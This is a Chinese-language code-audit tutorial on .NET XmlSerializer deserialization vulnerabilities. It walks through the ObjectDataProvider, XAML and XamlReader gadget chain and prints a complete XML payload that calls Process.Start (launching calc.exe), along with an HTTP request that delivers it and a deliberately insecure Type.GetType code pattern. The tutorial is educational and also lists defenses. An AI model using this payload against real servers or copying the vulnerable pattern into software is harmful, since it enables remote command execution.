.NET高级代码审计(第一课)XmlSerializer反序列漏洞
字数 1454 2025-08-26 22:11:28
.NET XmlSerializer反序列化漏洞深入分析与利用
0x00 前言
XmlSerializer是.NET框架中System.Xml.Serialization命名空间下的一个重要类,用于将高度结构化的XML数据映射为.NET对象。本文将深入分析XmlSerializer反序列化漏洞的原理、攻击链构建及实际利用方法。
0x01 XmlSerializer序列化机制
XmlSerializer类通过以下两个核心方法实现对象与XML之间的转换:
Serialize()- 从对象实例生成XMLDeserialize()- 将XML文档解析成对象图
序列化特性
XmlSerializer使用特性(Attributes)控制序列化行为:
[XmlElement]- 指定属性序列化为元素[XmlAttribute]- 指定属性序列化为特性[XmlRoot]- 指定类序列化为根元素
序列化示例
[XmlRoot("TestClass")]
public class TestClass
{
[XmlAttribute("ClassName")]
public string Name { get; set; }
[XmlElement("StudentName")]
public string Student { get; set; }
}
// 序列化示例
TestClass obj = new TestClass { Name = "ClassA", Student = "Alice" };
XmlSerializer serializer = new XmlSerializer(typeof(TestClass));
using (TextWriter writer = new StreamWriter("data.xml"))
{
serializer.Serialize(writer, obj);
}
生成的XML文件:
<TestClass ClassName="ClassA">
<StudentName>Alice</StudentName>
</TestClass>
0x02 XmlSerializer反序列化漏洞原理
反序列化过程的关键在于XmlSerializer构造方法中传入的Type参数。获取Type对象有三种方式:
1. typeof运算符
Type type = typeof(TestClass);
XmlSerializer serializer = new XmlSerializer(type);
2. GetType方法
TestClass obj = new TestClass();
Type type = obj.GetType();
XmlSerializer serializer = new XmlSerializer(type);
3. Type.GetType静态方法(漏洞关键点)
string typeName = "Namespace.TestClass";
Type type = Type.GetType(typeName); // 污染点
XmlSerializer serializer = new XmlSerializer(type);
当Type.GetType的参数来自不可信输入时,攻击者可以控制反序列化的类型,从而构造恶意对象。
0x03 攻击链构建
完整的攻击链需要结合多个.NET特性:
3.1 ObjectDataProvider类
位于System.Windows.Data命名空间,可以调用任意被引用类中的方法:
ObjectInstance- 要实例化的类MethodName- 要调用的方法名MethodParameters- 方法参数
public class TestClass
{
public void ClassMethod(string cmd)
{
System.Diagnostics.Process.Start(cmd);
}
}
// 攻击代码
ObjectDataProvider provider = new ObjectDataProvider();
provider.ObjectInstance = new TestClass();
provider.MethodName = "ClassMethod";
provider.MethodParameters.Add("calc.exe");
3.2 ResourceDictionary与XAML
ResourceDictionary用于在WPF/UWP中共享静态资源,结合XAML可实现攻击:
<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:System="clr-namespace:System;assembly=mscorlib"
xmlns:Runtime="clr-namespace:System.Diagnostics;assembly=System">
<ObjectDataProvider x:Key="LaunchCalc"
ObjectType="{x:Type Runtime:Process}"
MethodName="Start">
<ObjectDataProvider.MethodParameters>
<System:String>calc.exe</System:String>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
</ResourceDictionary>
3.3 XamlReader类
位于System.Windows.Markup命名空间,用于解析XAML:
string maliciousXaml = "..."; // 上面的XAML内容
var obj = XamlReader.Parse(maliciousXaml);
完整攻击链
结合上述组件构建最终攻击链:
// 1. 构造恶意XAML
string xamlPayload = @"<ResourceDictionary...>...</ResourceDictionary>";
// 2. 使用ObjectDataProvider包装XamlReader.Parse调用
ObjectDataProvider provider = new ObjectDataProvider();
provider.ObjectInstance = new XamlReader();
provider.MethodName = "Parse";
provider.MethodParameters.Add(xamlPayload);
// 3. 序列化攻击对象
XmlSerializer serializer = new XmlSerializer(provider.GetType());
using (StringWriter writer = new StringWriter())
{
serializer.Serialize(writer, provider);
string maliciousXml = writer.ToString();
}
// 4. 当恶意XML被反序列化时触发命令执行
0x04 代码审计要点
审计时需要关注以下关键点:
-
Type.GetType调用:
string typeName = GetFromUserInput(); // 污染源 Type type = Type.GetType(typeName); // 危险调用 -
XmlSerializer构造:
// 危险构造方式 XmlSerializer serializer = new XmlSerializer(Type.GetType(userControlledString)); -
反序列化调用:
// 危险反序列化 object obj = serializer.Deserialize(xmlReader);
典型漏洞代码模式:
// 从XML读取type属性
XmlDocument doc = new XmlDocument();
doc.Load(xmlStream);
string typeName = doc.SelectSingleNode("//Item/@type").Value;
// 危险操作
Type type = Type.GetType(typeName);
XmlSerializer serializer = new XmlSerializer(type);
object obj = serializer.Deserialize(new XmlTextReader(xmlStream));
0x05 漏洞利用实战
复现环境搭建
- 创建ASP.NET Web应用
- 添加接收XML输入的端点
- 实现不安全的反序列化逻辑
攻击步骤
-
构造恶意XML:
<root type="System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"> <ObjectInstance xsi:type="XamlReader" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"/> <MethodName>Parse</MethodName> <MethodParameters> <anyType xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:System="clr-namespace:System;assembly=mscorlib" xmlns:Runtime="clr-namespace:System.Diagnostics;assembly=System"> <ObjectDataProvider x:Key="LaunchCalc" ObjectType="{x:Type Runtime:Process}" MethodName="Start"> <ObjectDataProvider.MethodParameters> <System:String>calc.exe</System:String> </ObjectDataProvider.MethodParameters> </ObjectDataProvider> </ResourceDictionary> </anyType> </MethodParameters> </root> -
发送恶意请求:
POST /vulnerableEndpoint HTTP/1.1 Content-Type: application/xml <!-- 上面构造的XML --> -
服务器反序列化时触发命令执行(弹出计算器)
0x06 防御措施
-
输入验证:
- 严格校验Type.GetType的输入
- 使用白名单限制可反序列化的类型
-
安全配置:
// 使用安全的XmlSerializer构造方式 XmlSerializer serializer = new XmlSerializer(typeof(KnownSafeType)); -
替代方案:
- 使用DataContractSerializer并严格配置KnownTypes
- 使用JSON序列化替代XML序列化
-
代码审计:
- 检查所有Type.GetType调用点
- 检查XmlSerializer构造时的Type参数来源
0x07 总结
XmlSerializer反序列化漏洞的核心在于:
- Type.GetType接收不可信输入
- 结合ObjectDataProvider、XAML和XamlReader构建攻击链
- 最终实现任意命令执行
开发人员应避免直接使用用户输入构造Type对象,安全团队应重点审计代码中的相关模式。